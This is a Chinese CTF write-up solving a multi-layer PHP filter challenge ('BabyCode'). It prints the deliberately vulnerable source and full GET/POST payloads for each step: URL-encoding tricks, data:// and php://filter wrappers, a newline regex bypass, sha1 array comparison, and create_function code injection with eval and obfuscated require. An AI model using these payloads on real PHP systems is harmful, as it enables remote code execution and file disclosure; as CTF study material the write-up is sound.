前言

先提一个小坑,$_REQUEST = $_POST+$_GET+$_COOKIE,如果进入页面显示fxck your English letters,删掉cookie就好了.

源码

查看源代码  HEX解码 1nD3x.php
拿到源码

<?php
highlight_file(__FILE__);error_reporting(0);
$file = "1nD3x.php";
$y1ng = $_GET['y1ng'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';if($_SERVER) { if (preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('fxck your key words!');
}
if (!preg_match('/http/i', $_GET['file'])) {if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') { $file = $_GET["file"]; echo "Yes! You know that I zuishuai!<br>";}
} else die('fxck you! no RFI!!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck your English letters'); }
}if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')die(' Am not I universe wudi zuishuai?<br>');if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die('fxck you! you dont know password! you dont know sha1! why you come here!');
}if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg)  ) { die('fxck you! Read my Regular Express1on!');
} else { var_dump($code);var_dump($arg);include "flag.php";$code('', $arg);
}
?>

思路

第一层过滤

先看看第一层过滤

if($_SERVER) { if (preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('fxck your key words!');
}

$_SERVER['QUERY_STRING']的值为请求的参数

参考 http://www.360doc.com/content/18/0203/09/52553745_727370869.shtml

但发现第一层把y1ng和passwd过滤掉了,试试url编码,成功绕过
?%79%31%6e%67=1&%70%61%73%73%77%64=1

第三层过滤

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck your English letters'); }
}

$_REQUEST可以接收GET和POST请求

经过本地测试

<?php
$cmd = $_GET['cmd'];print_r($_REQUEST);
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); }
}
eval($cmd);
?>

同时传入get和post就能绕过过滤,在$_REQUEST中post优先度更高

post提交 y1ng=1&passwd=1,绕过第三层

第四层和第二层过滤

这时候 Am not I universe wudi zuishuai? 的提示,$file应该在第二层传入

//第二层
if (!preg_match('/http/i', $_GET['file'])) {if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') { $file = $_GET["file"]; echo "Yes! You know that I zuishuai!<br>";}
} else die('fxck you! no RFI!!');
//第四层
if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')die(' Am not I universe wudi zuishuai?<br>');

先解决第四层的
file_get_contents是读取文件内容,这里可以用data伪协议

data://text/plain,y1ng_YuZhou_Wudi_zuishuai

由于y1ng_YuZhou_Wudi_zuishuai中有被第一层过滤,用url编码

%66%69%6c%65=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69

同时post提交file=1

第二层的zuishuai有个正则匹配/^y1ngzuishuai$/从y1ngzuishuai开始,以y1ngzuishuai结尾,可以在结尾加上%0a绕过

zuishuai=y1ngzuishuai%0a
url编码
%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a
POST:
zuishuai=1

成功进入第五层

GET:
1nD3x.php?%79%31%6e%67=aaa&%70%61%73%73%77%64=1&%66%69%6c%65=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69&%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a

POST:
y1ng=1&passwd=1&file=1&zuishuai=1

第五层

if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die('fxck you! you dont know password! you dont know sha1! why you come here!');
}

===是强类型,绕过sha1很简单,sha1无法处理数组,默认返回false也就是0

y1ng[]=&passwd[]=1

第六层

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg)  ) { die('fxck you! Read my Regular Express1on!');
} else { var_dump($code);var_dump($arg);include "flag.php";$code('', $arg);
}

现在我们进入第六层了,但是我们并没有$code和$arg的值,应该用extract($_GET["flag"])
extract可以给变量$code和$arg赋值

看到$code('', $arg);,可以想到用create_function () 代码注入

$code = “return($a+$b);}eval($_POST[‘kradress’]);//”
$f=create_function('$a, $b', $code);
相当于得到：
function f($a, $b){return $a+$b; } eval($_POST['kradress']);//}

限制了$arg不能直接查看flag,除了过滤的system还有exec等尽管没被过滤却在php.ini被disabled的,不够可以用get_defined_vars()

preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg)  )

$flag[code]=create_function,$flag[arg]=} var_dump(get_defined_vars());//

提示flag在1fl4g.php

题解

解法一

用 require包含1flag.php,记得把1flag.php base64加密,可以绕过过滤. 再用get_defined_vars()输出

?%79%31%6e%67[]=&%70%61%73%73%77%64[]=1111&%66%69%6c%65=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69&%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}%20require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//

?y1ng[]=&passwd[]=1111&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai&zuishuai=y1ngzuishuai
&flag[code]=create_function&flag[arg]=} require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//

post:
file=1&zuishuai=1

解法二

除了base64,还可以用取反和异或去绕过过滤,然后用伪协议去读取源码,可以不用()

}%20require~%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f;//

php://filter/read=convert.base64-encode/resource=1flag.php

查看页面源代码,base64解码,拿到flag

总结

感觉总体做下来自己收获挺大的,Y1ng师傅也教了我很多很有用的技巧

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Y1ng‘s BabyCode

目录

前言

源码

思路

第一层过滤

第三层过滤

第四层和第二层过滤

第五层

第六层

题解

解法一

解法二

总结

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